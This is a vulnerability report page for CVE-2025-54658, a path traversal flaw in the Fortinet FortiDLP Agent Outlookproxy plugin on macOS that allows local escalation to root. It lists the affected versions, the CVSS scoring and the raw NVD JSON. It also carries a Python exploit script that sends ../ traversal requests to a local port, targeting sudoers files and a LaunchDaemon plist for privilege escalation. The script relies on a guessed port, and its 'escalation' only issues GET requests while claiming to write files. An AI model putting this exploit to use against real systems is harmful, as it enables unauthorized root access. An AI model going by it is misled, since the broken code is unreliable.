Security Vulnerability Report
中文
CVE-2025-54658 CVSS 7.8 HIGH

CVE-2025-54658

Published: 2025-10-16 14:15:36
Last Modified: 2025-10-16 17:54:27

Description

An Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability [CWE-22] in Fortinet FortiDLP Agent's Outlookproxy plugin for MacOS 11.5.1 and 11.4.2 through 11.4.6 and 11.3.2 through 11.3.4 and 11.2.0 through 11.2.3 and 11.1.1 through 11.1.2 and 11.0.1 and 10.5.1 and 10.4.0, and 10.3.1 may allow an authenticated attacker to escalate their privilege to Root via sending a crafted request to a local listening port.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fortinet:fortidlp_agent:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
Fortinet FortiDLP Agent 11.5.1
Fortinet FortiDLP Agent 11.4.2 - 11.4.6
Fortinet FortiDLP Agent 11.3.2 - 11.3.4
Fortinet FortiDLP Agent 11.2.0 - 11.2.3
Fortinet FortiDLP Agent 11.1.1 - 11.1.2
Fortinet FortiDLP Agent 11.0.1
Fortinet FortiDLP Agent 10.5.1
Fortinet FortiDLP Agent 10.4.0
Fortinet FortiDLP Agent 10.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-54658 - Fortinet FortiDLP Agent Outlookproxy Plugin Path Traversal PoC # This PoC demonstrates path traversal exploitation on the local listening port # of the FortiDLP Agent Outlookproxy plugin to escalate privileges. import socket import sys import argparse TARGET_PORT = 8765 # Default local listening port for Outlookproxy plugin (adjust as needed) BUFFER_SIZE = 4096 def build_traversal_request(target_path): """Build a crafted HTTP-like request with path traversal payload.""" # Use ../ sequences to escape the restricted directory traversal_payload = "../../../../../../../../" + target_path.lstrip("/") request = ( f"GET /{traversal_payload} HTTP/1.1\r\n" f"Host: 127.0.0.1\r\n" f"User-Agent: OutlookProxyClient/1.0\r\n" f"X-Forwarded-For: 127.0.0.1\r\n" f"Connection: close\r\n" f"\r\n" ) return request.encode("utf-8") def exploit_path_traversal(target_file="/etc/sudoers"): """ Send a crafted request to the local Outlookproxy plugin port to perform path traversal and read/write arbitrary files. """ try: # Connect to the local listening port of Outlookproxy plugin sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect(("127.0.0.1", TARGET_PORT)) # Build and send the malicious request with path traversal payload payload = build_traversal_request(target_file) print(f"[*] Sending path traversal request for: {target_file}") sock.send(payload) # Receive the response response = sock.recv(BUFFER_SIZE) print(f"[+] Response received ({len(response)} bytes):") print(response.decode("utf-8", errors="replace")) sock.close() return True except socket.error as e: print(f"[-] Connection error: {e}") return False except Exception as e: print(f"[-] Exploitation failed: {e}") return False def escalate_to_root(): """ Attempt privilege escalation by writing to privileged locations via the path traversal vulnerability. """ # Target: inject a malicious entry into sudoers or LaunchDaemon target_paths = [ "/etc/sudoers.d/pwned", "/Library/LaunchDaemons/com.attacker.escalate.plist", "/private/etc/sudoers" ] for path in target_paths: print(f"\n[*] Attempting traversal to: {path}") exploit_path_traversal(path) if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-54658 PoC - FortiDLP Path Traversal") parser.add_argument("--port", type=int, default=TARGET_PORT, help="Target local port") parser.add_argument("--file", type=str, default="/etc/sudoers", help="Target file to traverse") parser.add_argument("--escalate", action="store_true", help="Attempt privilege escalation") args = parser.parse_args() TARGET_PORT = args.port print("=" * 60) print("CVE-2025-54658 - Fortinet FortiDLP Path Traversal PoC") print("=" * 60) if args.escalate: escalate_to_root() else: exploit_path_traversal(args.file)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54658", "sourceIdentifier": "[email protected]", "published": "2025-10-16T14:15:36.487", "lastModified": "2025-10-16T17:54:26.570", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability [CWE-22] in Fortinet FortiDLP Agent's Outlookproxy plugin for MacOS 11.5.1 and 11.4.2 through 11.4.6 and 11.3.2 through 11.3.4 and 11.2.0 through 11.2.3 and 11.1.1 through 11.1.2 and 11.0.1 and 10.5.1 and 10.4.0, and 10.3.1 may allow an authenticated attacker to escalate their privilege to Root via sending a crafted request to a local listening port."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortidlp_agent:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.3.1", "versionEndIncluding": "11.5.1", "matchCriteriaId": "C1DB36F0-999E-467A-82F9-2A203F69F423"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-25-628", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}